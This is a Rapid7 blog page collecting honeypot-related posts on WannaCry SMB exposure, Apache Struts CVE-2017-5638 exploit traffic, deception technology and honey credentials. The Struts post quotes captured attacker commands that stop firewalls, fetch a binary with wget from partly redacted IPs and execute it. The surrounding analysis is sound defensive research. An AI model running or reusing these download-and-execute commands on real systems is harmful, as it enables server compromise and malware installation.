Rapid7 Blog

Honeypots  

WannaCry Update: Vulnerable SMB Shares Are Widely Deployed And People Are Scanning For Them

WannaCry Overview Last week the WannaCry ransomware worm, also known as Wanna Decryptor, Wanna Decryptor 2.0, WNCRY, and WannaCrypt started spreading around the world, holding computers for ransom at hospitals, government offices, and businesses. To recap: WannaCry exploits a vulnerability in the Windows Server…

WannaCry Overview Last week the WannaCry ransomware worm, also known as Wanna Decryptor, Wanna Decryptor 2.0, WNCRY, and WannaCrypt started spreading around the world, holding computers for ransom at hospitals, government offices, and businesses. To recap: WannaCry exploits a vulnerability in the Windows Server Message Block (SMB) file sharing protocol. It spreads to unpatched devices directly connected to the internet and, once inside an organization, those machines and devices behind the firewall as well. For full details, check out the blog post: Wanna Decryptor (WannaCry) Ransomware Explained. Since last Friday morning (May 12), there have been several other interesting posts about WannaCry from around the security community. Microsoft provided specific guidance to customers on protecting themselves from WannaCry. MalwareTech wrote about how registering a specific domain name triggered a kill switch in the malware, stopping it from spreading. Recorded Future provided a very detailed analysis of the malware's code. However, the majority of reporting about WannaCry in the general news has been that while MalwareTech's domain registration has helped slow the spread of WannaCry, a new version that avoids that kill switch will be released soon (or is already here) and that this massive cyberattack will continue unabated as people return to work this week. In order to understand these claims and monitor what has been happening with WannaCry, we have used data collected by Project Sonar and Project Heisenberg to measure the population of SMB hosts directly connected to the internet, and to learn about how devices are scanning for SMB hosts. Part 1: In which Rapid7 uses Sonar to measure the internet Project Sonar regularly scans the internet on a variety of TCP and UDP ports; the data collected by those scans is available for you to download and analyze at scans.io. WannaCry exploits a vulnerability in devices running Windows with SMB enabled, which typically listens on port 445. Using our most recent Sonar scan data for port 445 and the recog fingerprinting system, we have been able to measure the deployment of SMB servers on the internet, differentiating between those running Samba (the Linux implementation of the SMB protocol) and actual Windows devices running vulnerable versions of SMB. We find that there are over 1 million internet-connected devices that expose SMB on port 445. Of those, over 800,000 run Windows, and — given that these are nodes running on the internet exposing SMB — it is likely that a large percentage of these are vulnerable versions of Windows with SMBv1 still enabled (other researchers estimate up to 30% of these systems are confirmed vulnerable, but that number could be higher). We can look at the geographic distribution of these hosts using the following treemap (ISO3C labels provided where legible): The United States, Asia, and Europe have large pockets of Windows systems directly exposed to the internet while others have managed to be less exposed (even when compared to their overall IPv4 blocks allocation). We can also look at the various versions of Windows on these hosts: The vast majority of these are server-based Windows operating systems, but there is also a further unhealthy mix of Windows desktop operating systems in the mix—, some quite old. The operating system version levels also run the gamut of the Windows release history timeline: <span Using Sonar, we can get a sense for what is out there on the internet offering SMB services. Some of these devices are researchers running honeypots (like us), and some of these devices are other research tools, but a vast majority represent actual devices configured to run SMB on the public internet. We can see them with our light-touch Sonar scanning, and other researchers with more invasive scanning techniques have been able to positively identify that infection rates are hovering around 2%. Part 2: In which Rapid7 uses Heisenberg to listen to the internet While Project Sonar scans the internet to learn about what is out there, Project Heisenberg is almost the inverse: it listens to the internet to learn about scanning activity. Since SMB typically runs on port 445, and the WannaCry malware scans port 445 for potential targets, if we look at incoming connection attempts on port 445 to Heisenberg nodes as shown in Figure 4, we can see that scanning activity spiked briefly on 2017-05-10 and 2017-05-11, then increased quite a bit on 2017-05-12, and has stayed at elevated levels since. Not all traffic to Heisenberg on port 445 is an attempt to exploit the SMB vulnerability that WannaCry targets (MS17-010). There is always scanning traffic on port 445 (just look at the activity from 2017-05-01 through 2017-05-09), but a majority of the traffic captured between 2017-05-12 and 2017-05-14 was attempting to exploit MS17-010 and likely came from devices infected with the WannaCry malware. To determine this we matched the raw packets captured by Heisenberg on port 445 against sample packets known to exploit MS17-010. Figure 5 shows the number of unique IP addresses scanning for port 445, grouped by hour between 2017-05-10 and 2017-05-16. The black line shows that at the same time that the number of incoming connections increases (2017-05-12 through 2017-05-14), the number of unique IPs addresses scanning for port 445 also increases. Furthermore, the orange line shows the number of new, never- before- seen IPs scanning for port 445. From this we can see that a majority of the IPs scanning for port 445 between 2017-05-12 and 2017-05-14 were new scanners. Finally, we see scanning activity from 157 different countries in the month of May, and scanning activity from 133 countries between 2017-05-12 and 2017-05-14. Figure 6 shows the top 20 countries from which we have seen scanning activity, ordered by the number of unique IPs from those countries. While we have seen the volume of scans on port 445 increase compared to historical levels, it appears that the surge in scanning activity seen between 2017-05-12 and 2017-05-14 has started to tail off. So what? Using data collected by Project Sonar we have been able to measure the deployment of vulnerable devices across the internet, and we can see that there are many of them out there. Using data collected by project Heisenberg, we have seen that while scanning for devices that expose port 445 has been observed for quite some time, the volume of scans on port 445 has increased since 2017-05-12, and a majority of those scans are specifically looking to exploit MS17-010, the SMB vulnerability that the WannaCry malware looks to exploit. MS17-010 will continue to be a vector used by attackers, whether from the WannaCry malware or from something else. Please, follow Microsoft's advice and patch your systems. If you are a Rapid7 InsightVM or Nexpose customer, or you are running a free 30 day trial, here is a step by step guide on on how you can scan your network to find all of your assets that are potentially at risk for your organization. Coming Soon If this sort of information about internet wide measurements and analysis is interesting to you, stay tuned for the National Exposure Index 2017. Last year, we used Sonar scans to evaluate the security exposure of all the countries of the world based on the services they exposed on the internet. This year, we have run our studies again, we have improved our methodology and infrastructure, and we have new findings to share. Related: Find all of our WannaCry related resources here [Blog] Using Threat Intelligence to Mitigate Wanna Decryptor (WannaCry)

Apache Struts Vulnerability (CVE-2017-5638) Exploit Traffic

UPDATE - March 10th, 2017: Rapid7 added a check that works in conjunction with Nexpose's web spider functionality. This check will be performed against any URIs discovered with the suffix “.action” (the default configuration for Apache Struts apps). To learn more about using…

UPDATE - March 10th, 2017: Rapid7 added a check that works in conjunction with Nexpose's web spider functionality. This check will be performed against any URIs discovered with the suffix “.action” (the default configuration for Apache Struts apps). To learn more about using this check, read this post.UPDATE - March 9th, 2017:  Scan your network for this vulnerability with check id apache-struts-cve-2017-5638, which was added to Nexpose in content update 437200607.Attacks spotted in the wildYesterday, Cisco Talos published a blog post indicating that they had observed in-the-wild attacks against a recently announced vulnerability in Apache Struts. The vulnerability, CVE-2017-5638, permits unauthenticated Remote Code Execution (RCE) via a specially crafted Content-Type value in an HTTP request. An attacker can create an invalid value for Content-Type which will cause vulnerable software to throw an exception.  When the software is preparing the error message for display, a flaw in the Apache Struts Jakarta Multipart parser causes the malicious Content-Type value to be executed instead of displayed.World Wide Window into the WebFor some time now Rapid7 has been running a research effort called Heisenberg Cloud. The project consists of honeypots spread across every region of five major cloud providers, as well as a handful of collectors in private networks. We use these honeypots to provide visibility into the activities of attackers so that we can better protect our customers as well as provide meaningful information to the public in general. Today, Heisenberg Cloud helped provide information about the scope and scale of the attacks on the Apache vulnerability. If in the coming days and weeks it will provide information about the evolution and lifecycle of the attacks.A few words of caution before I continue: please keep in mind that the accuracy of IP physical location here is at the mercy of geolocation databases and it's difficult to tell who the current 0wner(s) of a host are at any given time. Also, we host our honeypots in cloud providers in order to provide broad samples. We are unlikely to see targeted or other scope-limited attacks.Spreading malwareWe use Logentries to query our Heisenberg data and extract meaningful information.  One of the aspects of the attacks is how the malicious traffic has changed over the recent days.  The graph below shows a 72 hour window in time.The first malicious requests we saw were a pair on Tuesday, March 7th at 15:36 UTC that originated from a host in Zhengzhou, China. Both were HTTP GET requests for /index.aciton (misspelled) and the commands that they executed would have caused a vulnerable target to download binaries from the attacking server. Here is an example of the commands that were sent as a single string in the Content-Type value:cd /dev/shm; wget http://XXX.XXX.XXX.92:92/lmydess; chmod 777 lmydess; ./lmydess; I've broken the command into lines to make it easier to read. It's pretty standard for a command injection or remote code execution attack against web servers. Basically, move to some place writeable, download code, make sure its executable, and run it.After this, the malicious traffic seemed to stop until Wednesday, March 8th at 09:02 UTC when a host in Shanghai, China started sending attacks. The requests differed from the previous attacks. The new attacks were HTTP POSTs to a couple different paths and attempted to execute different commands on the victim:/etc/init.d/iptables stop; service iptables stop; SuSEfirewall2 stop; reSuSEfirewall2 stop; cd /tmp; wget -c http://XXX.XXX.XXX.26:9/7; chmod 777 7; ./7; This is similar to the prior commands but this attacker tries to stop the firewall first. The requested binary was not hosted on the same IP address that attacked the honeypot. In this case the server hosting the binary was still alive and we were able to capture a sample.  It appears to be a variant of the XOR DDoS family.Not so innocentMuch like Talos, in addition to the attempts to spread malware, we see some exploitation of the vulnerability to run "harmless" commands such as whois, ifconfig, and a couple variations that echoed a value. The word harmless is in quotes because though the commands weren't destructive they could have allowed the originator of the request to determine if the target was vulnerable. They may be part of a research effort to understand the number of vulnerable hosts on the public Internet or an information gathering effort as part of preparation for a later attack. Irrespective of the reason, network and system owners should review their environments.A little sunshineBased on the traffic we are seeing at this time it would appear that the bulk of the non-targeted malicious traffic appears to be limited attacks from a couple of sources. This could change significantly tomorrow if attackers determine that there is value in exploiting this vulnerability. If you are using Apache Struts this would be a great time to review Apache's documentation on the vulnerability and then survey your environment for vulnerable hosts. Remember that Apache products are often bundled with other software so you may have vulnerable hosts of which you are unaware. Expect Nexpose and Metasploit coverage to be available soon to help with detection and validation efforts. If you do have vulnerable implementations of the software in your environment, I would strongly recommend upgrading as soon as safely possible. If you cannot upgrade immediately, you may wish to investigate other mitigation efforts such as changing firewall rules or network equipment ACLs to reduce risk. As always, it's best to avoid exposing services to public networks if at all possible.Good luck!

12 Days of HaXmas: A HaxMas Carol

(A Story by Rapid7 Labs) Merry HaXmas to you! Each year we mark the 12 Days of HaXmas with 12 blog posts on hacking-related topics and roundups from the year. This year, we're highlighting some of the “gifts” we want to give back to the…

(A Story by Rapid7 Labs) Merry HaXmas to you! Each year we mark the 12 Days of HaXmas with 12 blog posts on hacking-related topics and roundups from the year. This year, we're highlighting some of the “gifts” we want to give back to the community. And while these gifts may not come wrapped with a bow, we hope you enjoy them. Happy Holi-data from Rapid7 Labs! It's been a big year for the Rapid7 elves Labs team. Our nigh 200-node strong Heisenberg Cloud honeypot network has enabled us to bring posts & reports such as The Attacker's Dictionary, Cross-Cloud Adversary Analytics and Mirai botnet tracking to the community, while Project Sonar fueled deep dives into National Exposure as well as ClamAV, fuel tanks and tasty, tasty EXTRABACON. Our final gift of the year is the greatest gift of all: DATA! We've sanitized an extract of our November, 2016 cowrie honeypot data from Heisenberg Cloud. While not the complete data set, it should be good for hours of fun over the holiday break. You can e-mail research [at] rapid7 [dot] com if you have any questions or leave a note here in the comments. While you're waiting for that to download, please enjoy our little Haxmas tale… Once upon a Haxmas eve… CISO Scrooge sat sullen in his office. His demeanor was sour as he reviewed the day's news reports and sifted through his inbox, but his study was soon interrupted by a cheery minion's “Merry HaXmas, CISO!”. CISO Scrooge replied, “Bah! Humbug!” The minion was taken aback. “HaXmas a humbug, CISO?! You surely don't mean it!” “I do, indeed…” grumbled Scrooge. “What is there to be merry about? Every day attackers are compromising sites, stealing credentials and bypassing defenses. It's almost impossible to keep up. What's more, the business units and app teams here don't seem to care a bit about security. So, I say it again ‘Merry HaXmas?' - HUMBUG!” Scrooge's minion knew better than argue and quickly fled to the comforting glow of the pew-pew maps in the security operations center. As CISO Scrooge returned to his RSS feeds his office lights dimmed and a message popped up on his laptop, accompanied by a disturbing “clank” noise (very disturbing indeed since he had the volume completely muted). No matter how many times he dismissed the popup it returned, clanking all the louder. He finally relented and read the message: “Scrooge, it is required of every CISO that the defender spirit within them should stand firm with resolve in the face of their adversaries. Your spirit is weary and your minions are discouraged. If this continues, all your security plans will be for naught and attackers will run rampant through your defenses. All will be lost.” Scrooge barely finished uttering, “Hrmph. Nothing but a resourceful security vendor with a crafty marketing message. My ad blocker must be misconfigured and that bulb must have burned out.” “I AM NO MISCONFIGURATION!” appeared in the message stream, followed by, “Today, you will be visited by three cyber-spirits. Expect their arrivals on the top of each hour. This is your only chance to escape your fate.” Then, the popup disappeared and the office lighting returned to normal. Scrooge went back to his briefing and tried to put the whole thing out of his mind. The Ghost of HaXmas Past CISO Scrooge had long finished sifting through news and had moved on to reviewing the first draft of their PCI DSS ROC[i]. His eyes grew heavy as he combed through the tome until he was startled with a bright green light and the appearance of a slender man in a tan plaid 1970's business suit holding an IBM 3270 keyboard. “Are you the cyber-spirit, sir, whose coming was foretold to me?”, asked Scrooge. “I am!”, replied the spirit. “I am the Ghost of Haxmas Past! Come, walk with me!” As Scrooge stood up they were seemingly transported to a room full of mainframe computers with workers staring drone-like into green-screen terminals. “Now, this was security, spirit!” exclaimed Scrooge. “No internet…No modems…Granular RACF[ii] access control…” (Scrooge was beaming almost as bright as the spirit!) “So you had been successful securing your data from attackers?”, asked the spirit. “Well, yes, but this is when we had control! We had the power to give or deny anyone access to critical resources with a mere series of arcane commands.” As soon as he said this, CISO Scrooge noticed the spirit moving away and motioning him to follow. When he caught up, the scene changed to cubicle-lined floor filled with desktop PCs. “What about now, were these systems secure?”, inquired the spirit. “Well, yes. It wasn't as easy as it was with the mainframe, but as our business tools changed and we started interacting with clients and suppliers on the internet we found solutions that helped us protect our systems and networks and give us visibility into the new attacks that were emerging.”, remarked CISO Scrooge. “It wasn't easy. In fact, it was much harder than the mainframe, but the business was thriving: growing, diversifying and moving into new markets. If we had stayed in a mainframe mindset we'd have gone out of business.” The spirit replied, “So, as the business evolved, so did the security challenges, but you had resources to protect your data?” “Well, yes. But, these were just PCs. No laptops or mobile phones. We still had control!”, noted Scrooge. “That may be,” noted the spirit, “but if we continued our journey, would this not be the pattern? Technology and business practices change, but there have always been solutions to security problems coming at the same pace?” CISO Scrooge had to admit that as he looked back in his mind, there had always been ways to identify and mitigate threats as they emerged. They may not have always been 100% successful, but the benefits of the “new” to the business were far more substantial than the possible issues that came with it. The Ghost of Haxmas Present As CISO Scrooge pondered the spirit's words he realized he was back at his desk, his screen having locked due to the required inactivity timeout.  He gruffed a bit (he couldn't understand the 15-minute timeout when at your desk as much as you can't) and fumbled 3 attempts at his overly-complex password to unlock the screen before he was logged back in. His PCI DSS ROC was minimized and his browser was on a MeTube video (despite the site being blocked on the proxy server). He knew he had no choice but to click “play”. As he did, it seemed to be a live video of the Mooncents coffee shop down the street buzzing with activity. He was seamlessly transported from remote viewer to being right in the shop, next to a young woman in bespoke, authentic, urban attire, sipping a double ristretto venti half-soy nonfat decaf organic chocolate brownie iced vanilla double-shot gingerbread frappuccino. Amongst the patrons were people on laptops, tablets and phones, many of them conducting business for CISO's company. “Dude. I am the spirit of Haxmas Present”, she said, softly, as her gaze fixated upon a shadowy figure in the corner. CISO Scrooge turned his own gaze in that direction and noticed a hoodie-clad figure with a sticker-laden laptop. Next to the laptop was a device that looked like a wireless access point and Scrooge could just barely hear the figure chuckling to himself as his fingers danced across the keyboard. “Is that person doing what I think he's doing?”, Scrooge asked the spirit. “Indeed,” she replied. “He's setup a fake Mooncents access point and is intercepting all the comms of everyone connected to it.” Scrooges' eyes got wide as he exclaimed “This is what I mean! These people are just like sheep being led to the shearer. They have no idea what's happening to them! It's too easy for attackers to do whatever they want!” As he paused for a breath, the spirit gestured to a woman who just sat down in the corner and opened her laptop, prompting Scrooge to go look at her screen. The woman did work at CISO's company and she was in Mooncents on her company device, but — much to the surprise of Scrooge — as soon as she entered her credentials, she immediately fired up the VPN Scrooge's team had setup, ensuring that her communications would not be spied upon. The woman never once left her laptop alone and seemed to be very aware of what she needed to do to stay as safe as possible. “Do you see what is happening?”, asked the spirit? “Where and how people work today are not as fixed as it was in the past. You have evolved your corporate defenses to the point that attackers need to go to lengths like this or trick users through phishing to get what they desire.” “Technology I can secure. But how do I secure people?!”, sighed Scrooge. “Did not this woman do what she needed to keep her and your company's data safe?”, asked the spirit. “Well, yes. But it's so much more work!”, noted Scrooge. “I can't install security on users, I have to make them aware of the threats and then make it as easy as possible for them to work securely no matter where they are!”[iii]</sup As soon as he said this, he realized that this was just the next stage in the evolution of the defenses he and his team had been putting into place. The business-growing power inherent in this new mobility and the solid capabilities of his existing defenses forced attackers to behave differently and he understood that he and his team probably needed to as well. The spirit gave a wry, ironic grin at seeing Scrooge's internal revelation. She handed him an infographic titled “Ignorance & Want” that showcased why it was important to make sure employees were well-informed and to also stay in tune with how users want to work and make sure his company's IT offerings were as easy-to-use and functional as all the shiny “cloud” apps. The Ghost of Haxmas Future As Scrooge took hold of the infographic the world around him changed. A dark dystopian scene faded into view. Buildings were in shambles and people were moving in zombie-like fashion in the streets. A third, cloaked spirit appeared next to him and pointed towards a disheveled figure hulking over a fire in a barrel. An “eyes” emoji appeared on the OLED screen where the spirit's face should have been. CISO Scrooge didn't even need to move closer to see that it was a future him struggling to keep warm to survive in this horrible wasteland. “Isn't this a bit much?”, inquired Scrooge. The spirit shrugged and a “whatever” emoji appeared on the screen. Scrooge continued, “I think I've got the message. Business processes will keep evolving and moving faster and will never be tethered and isolated again. I need to stay positive and constantly evolve — relying on psychology, education as well as technology — to address the new methods attackers will be adopting. If I don't, it's ‘game over'.” The spirit's screen flashed a “thumbs up” emoji and CISO Scrooge found himself back at his desk, infographic strangely still in hand with his Haxmas spirt fully renewed. He vowed to keep Haxmas all the year through from now on. [i] Payment Card Industry Data Security Standard Report on Compliance [ii] http://www-03.ibm.com/systems/z/os/zos/features/racf/ [iii] Scrooge eventually also realized he could make use of modern tools such as Insight IDR to combine security & threat event data with user behavior analysis to handle the cases where attackers do successfully breach users.

Deception Technology: Can It Detect Intruders Earlier in their Attack Chain?

Every infosec conference is chatting about the Attack Chain, a visual mapping of the steps an intruder must take to breach a network. If you can detect traces of an attack earlier, you not only have more time to respond, but can stop the unauthorized…

Every infosec conference is chatting about the Attack Chain, a visual mapping of the steps an intruder must take to breach a network. If you can detect traces of an attack earlier, you not only have more time to respond, but can stop the unauthorized access to monetizable data and its exfiltration. Even as attackers and pen-testers continue to evolve their techniques, the Attack Chain continues to provide a great baseline framework to map out your security detection program. Many of today's detection solutions only alert on breach of critical assets or anomalous data exfiltration. At this point, the attacker is already at Mission Target, and the damage is likely already done. Similarly, it's dangerous to over-invest in a particular step – many organizations are focused on detecting malware, but once an attacker has internal access to the network, they have multiple ways to move from Infiltration & Persistence to Mission Target without using malware at all. This is where Deception Technology comes in. Justin Pagano, our information security lead, remarks in our latest Security Nation podcast, “Deception tech is a subset of detection that focuses on creating an illusion for attackers…for something they want, to make it easier for you to detect when they're going after it.” And that is the most powerful aspect of deception – it can uniquely detect behavior that is otherwise very hard to spot. Let's look at four techniques attackers use every day, and how deception can detect these stealthy behaviors. 1. Attacker has internal network access -> fires off a network scan (e.g. Nmap) to find next targets. One of the rare times an attacker is at a disadvantage is when he/she first lands on the network. This is because the attacker must learn more about the network infrastructure and where to move next. As these methods of gaining information continue to shift, they become increasingly difficult to detect by monitoring solutions today. This ranges from running a vulnerability or network scan to traffic collection and manipulation. Even comprehensive SIEM deployments struggle in detecting early reconnaissance, as it's challenging to identify by log and traffic analysis alone. A countermeasure is to deploy one or multiple Honeypots across the network, a decoy machine/server with no legitimate function for normal users that lurks and reports if it's been scanned, even if only on a single port. 2. Attacker queries Active Directory to see the full list of users on the network. Tries only 1-2 commonly used passwords (e.g. Fall2016!) across all of those accounts – this is referred to as a vertical brute force. How would you detect this today? In log files, this would appear as one, two failed authentications. There have been cases where an attacker tries a few combinations each week to stay under the radar. This particular attack vector can be detected by creating a dummy user in Active Directory, say, PatchAdmin. This tantalizing user should not have any business purpose or be associated with any employee. If you alert on any authentications to this account, it's a great way to detect that someone is up to no good. 3. Attacker has compromised an employee endpoint. Proceeds to dump credentials / hashes via MimiKatz or other tools. Uses pass-the-hash to continue laterally moving to other machines. There are a few challenges here. Hash extraction and privilege escalation can be performed using Windows Powershell, so no outside malware is required to be successful. That means the behavior can evade anti-virus and anti-malware defenses that rely on identifying “known-bad”. Further, most SIEM solutions don't have endpoint visibility, as it's challenging to setup log forwarding and can result in a lot of added data processing costs. Our Insight Agent [PDF] automatically injects a set of fake credentials onto each endpoint. If this credential is used anywhere else on the network, you'll receive an automatic alert. Of course, the fake credential doesn't grant access to any system, so they are safe to use. 4. Attacker has access to confidential materials and wants to move it off the network. Files in the folder get zipped and then copied elsewhere, often an external drop server or stolen cloud storage account. There's a layer of complexity here as the attacker might be impersonating a legitimate employee or is a malicious insider themselves. While data exfiltration is late in the attack chain, it's important to detect critical files being copied or modified. Wade Woolwine, director of breach detection and response notes, “Most of the time, we see command and control actions going over HTTP/HTTPS ports.” This makes exfiltration difficult to detect via firewalls or existing monitoring solutions. One way to tackle this is to create a dummy file (e.g. Q2-Financials.xls) and place it amongst high-value files. By monitoring all actions taken on this Honey File (opening, editing, copying), you can get file-level visibility without the effort of deploying a standalone File Integrity Monitoring solution. Most importantly, this trap needs to feed into a larger, defense-in-depth detection strategy. It's not hard to identify unauthorized access of critical assets; the challenge is figuring out the users involved, where else the attacker went, and the entire scope of the attack. InsightIDR, our incident detection and response solution, comes standard with this growing library of deception technology: Honeypots, Honey Users, Honey Credentials, and Honey Files. This is used in combination with our User Behavior Analytics and endpoint detection to find intruders earlier in the attack chain. To see our deception technology in action, check out the Solution Short below. Want more? Check out our latest webcast, “Demanding More from Your SIEM,” for a full demo of InsightIDR and to learn the top pain points in SIEM deployments today.

[Cloud Security Research] Cross-Cloud Adversary Analytics

Introducing Project Heisenberg CloudProject Heisenberg Cloud is a Rapid7 Labs research project with a singular purpose: understand what attackers, researchers and organizations are doing in, across and against cloud environments. This research is based on data collected from a new, Rapid7-developed honeypot framework called Heisenberg…

Introducing Project Heisenberg CloudProject Heisenberg Cloud is a Rapid7 Labs research project with a singular purpose: understand what attackers, researchers and organizations are doing in, across and against cloud environments. This research is based on data collected from a new, Rapid7-developed honeypot framework called Heisenberg along with internet reconnaissance data from Rapid7's Project Sonar.Internet-scale reconnaissance with cloud-inspired automationHeisenberg honeypots are a modern take on the seminal attacker detection tool. Each Heisenberg node is a lightweight, highly configurable agent that is centrally deployed using well-tested tools, such as terraform, and controlled from a central administration portal. Virtually any honeypot code can be deployed to Heisenberg agents and all agents send back full packet captures for post-interaction analysis.One of the main goals of Heisenberg it to understand attacker methodology. All interaction and packet capture data is synchronized to a central collector and all real-time logs are fed directly into Rapid7's Logentries for live monitoring and historical data mining.Insights into cloud configs and attacker methodologyRapid7 and Microsoft deployed multiple Heisenberg honeypots in every "zone" of six major cloud providers: Amazon, Azure, Digital Ocean, Rackspace, Google and Softlayer, and examined the service diversity in each of these environments, the type of connection attackers, researchers and organizations are initiating within, against and across these environments.To paint a picture of the services offered in each cloud provider, the research teams used Sonar data collected during Rapid7's 2016 National Exposure study. Some highlights include:The six cloud providers in our study make up nearly 15% of available IPv4 addresses on the internet.22% of Softlayer nodes expose database services (MySQL & SQL Server) directly to the internet.Web services are prolific, with 53-80 of nodes in each provider exposing some type of web service.Digital Ocean and Google nodes expose shell (Telnet & SSH) services at a much higher rate - 86% and 74%, respectively - than the other four cloud providers in this study.A wide range of attacks were detected, including ShellShock, SQL Injection, PHP webshell injection and credentials attacks against ssh, Telnet and remote framebuffer (e.g. VNC, RDP & Citrix).Our honeypots caught "data mashup" businesses attempting to use the cloud to mask illegal content scraping activity.Read MoreFor more detail on our initial findings with Heisenberg Cloud, please click here to download our report or here for slides from our recent UNITED conference presentation. AcknowledgementsWe would like to thank Microsoft and Amazon for engaging with us through the initial stages of this research effort, and as indicated above, we hope they, and other cloud hosting providers will continue to do so as we move forward with the project.

Leverage Attackers Need To Explore For Detection

When you examine the sanitized forensic analyses, threat briefings, and aggregated annual reports, there are a two basic facts that emerge: There are a lot of different attacker groups with access to the same Internet as baby boomers and short-term contractors. Most of them are…

When you examine the sanitized forensic analyses, threat briefings, and aggregated annual reports, there are a two basic facts that emerge: There are a lot of different attacker groups with access to the same Internet as baby boomers and short-term contractors. Most of them are proficient at user impersonation once on the network to remain undetected for months. In this reality, our organizations need to do more than just build defenses and sit in waiting until known signatures are identified on our systems. If we are outnumbered, we should embrace it While we will never know exactly how many attackers there are, it is fair to assume there are more people, both sophisticated and not, trying to steal from your organization than are currently employed to defend its data. This view gives some security professionals a feeling of misery, but others are embracing it. Recognizing you are defending against a larger force can change the way you think and operate. It gives you the opportunity to align your team mentality to the wolverines from Red Dawn (I only acknowledge the Swayze original), and we should all be looking for more chances to do that. What did the wolverines do? They made life so difficult for the invaders they were forced to go elsewhere. In this scenario, you need to change the rules Since attackers are not following any rule book, we should evaluate the process to defend our organizations. Unlike them, we do have rules (and laws) we need to follow, such as ensuring our organizations can effectively meet their own goals, but making our users' lives easier doesn't require us to make intruders' lives easy. If intruders are going to use legitimate tools and systems in a malicious manner, you cannot simply block the tools because that would hinder your organization's ability to conduct important business. Nowhere in the rules (or laws) does it state that your team has to serve your systems and credentials to all who ask in a pristine condition. Your user population should not know every asset on the network, just the systems they need to accomplish their goals. You can be truthful with your employees and contractors, while also omitting some truths and blatantly lying to outsiders. When you cannot change legitimate user behavior, find ways to lure the illegitimate There are some manners in which employees in our companies regularly behave that introduce unwanted risk. Actions like installing unsigned applications or clicking email links without thinking are behaviors we all want to stop in our legitimate users. We can block some of it, but intruders use this unintentional risky behavior to hide their intentional malicious behavior with stolen credentials and compromised systems. Detecting behavioral changes and unnecessary risk are core to what we do, but we can never get overconfident that we can spot 100% of it. We can also trick intruders into exposing themselves. Since they are deceptively using legitimate accounts and administrative tools to evade detection while exploring our networks, we can use their goals and needs against them. Their goal is to obtain valuable data from your network and sell it to others. To reach this goal undetected, they need to access more credentials and systems to gradually move to the important systems, so you can give them systems and credentials to steal. If only your security team knows of these decoys, only intruders and your unnecessarily curious insiders are going to interact with them. Traps need to be a tool in your effort to see more You need to set traps in your organization for both intruders and malicious insiders to trip. You can set all kinds of them, just like the laser beams, pressure plates, and heat sensors the characters in your favorite heist movies have to navigate to reach the valuables without triggering the alarms. Unless you're making the layout of your traps public knowledge, attackers will have to trip them before they can distinguish the decoys from the legitimate, just as spraying aerosol on laser beams would likely trigger them in the real world. Every InsightIDR customer has the option to deploy an unlimited number of honeypots, honey users, and honey credentials. These traps require so little maintenance that our customers often forget they have them deployed until a legitimate user starts poking around on the network where they shouldn't or a system is improperly configured and starts broadcasting to every system in the company. We plan to continually add more in this area because in combination with the identification of changes in user behavior analytics, these make it extremely difficult to hide on your network, so the intruders will go elsewhere. Learn more about honeypots, honey users, and honey credentials in our InsightIDR product. To learn more about these traps and other Rapid7 Incident Detection and Response solutions, check out our new solutions page which includes our Incident Response Services.

Detect Corporate Identity Theft with a New Intruder Trap: Honey Credentials

If you're only looking through your log files, reliably detecting early signs of attacker reconnaissance can be a nightmare. Why is this important? If you can detect and react to an intruder early in the attack chain, it's possible to kick the intruder out before…

If you're only looking through your log files, reliably detecting early signs of attacker reconnaissance can be a nightmare. Why is this important? If you can detect and react to an intruder early in the attack chain, it's possible to kick the intruder out before he or she accesses your critical assets. This is not only good for you (no monetary data is stolen), but it's also critical because this is the only time in the chain that the intruder is at a disadvantage. Once an attacker has an initial foothold on your network (above, Infiltration and Persistence), their work is not complete. Their next steps are reconnaissance: learning more about the environment and where they need to pivot to next. This behavior, such as network scans, password guessing attempts, and pass-the-hash is very different than the actions your users take every day and leaves tangible, identifiable traces. InsightIDR, our full incident detection and investigation solution, comes standard with Honey Pot and Honey User intruder traps. Most of our customers find these features easy-to-use and helpful: “[Honey Pots]…are a great idea for detecting illegitimate network scans,” says Nick Hidalgo, Director of IT at Redner's Markets. To combat pass-the-hash and memory scraping techniques, we've now added a new trap: Honey Credentials. In the same way that banks place exploding dye packs in money bags, marking the money to identify it later, Honey Credentials show a clear trail of an intruder moving laterally across your network. Keep reading to learn how the intruder trap suite works in InsightIDR. Plant Decoy Credentials Around Your Network On each of our endpoints, password hashes are stored locally on the machine. This allows us to login to work without being connected to the Internet. However, since they are stored on the machine, attackers can use tools, such as Mimikatz, to pull either the password hashes or even the cleartext passwords from the target. These hashes can be reused to attempt authentication elsewhere on the network, and is a favorite technique of penetration testers and real attackers alike. Honey Credentials work by injecting a set of fake credentials onto your endpoints. If an attacker steals this fake credential and attempts authentication, you'll receive an automatic alert. Two common scenarios: (1) a user attempted to log in with a Honey Credential on that asset, or (2) a user is attempting to use Honey Credentials to pivot to another endpoint. As the fake credentials don't grant access to any of your systems, they are therefore very safe to use. Expanding our Intruder Trap Library Our vision with InsightIDR is to help you detect and investigate attackers from endpoint to cloud. This mindset extends to the way we ingest data. Instead of looking at your readily available log files, from our red and blue team experience, we know the steps attackers must follow and the traces left behind. One example is a low-and-slow password guessing attack. Instead of trying hundreds of passwords on one asset, which can be rather noisy, an attacker may try two or three passwords across every asset on the network. Since we don't want alerts everytime there are three authentication failures (guilty of that just this morning), a low-and-slow attack largely goes undetected. With another intruder trap in InsightIDR, Honey Users, you can identify this technique earlier, accelerating your compromise to containment. For a general overview of InsightIDR, check out our on-demand 20 minute demo. How Do I Deploy Honey Credentials? Honey Credentials are available now in InsightIDR and InsightUBA. Honey Credentials are automatically deployed to endpoints using the Continuous Endpoint Agent (Persistent Agent). To set up the agent, you can use Microsoft's System Center Configuration Manager or deploy using a PowerShell script. The agent begins immediately after being installed. If InsightIDR detects use of the Honey Credential, you'll be automatically alerted. If you need any further assistance, don't hesitate to reach out to your Customer Success Manager.

The Attacker's Dictionary

Rapid7 is publishing a report about the passwords attackers use when they scan the internet indiscriminately. You can pick up a copy at booth #4215 at the RSA Conference this week, or online right here. The following post describes some of what is investigated in…

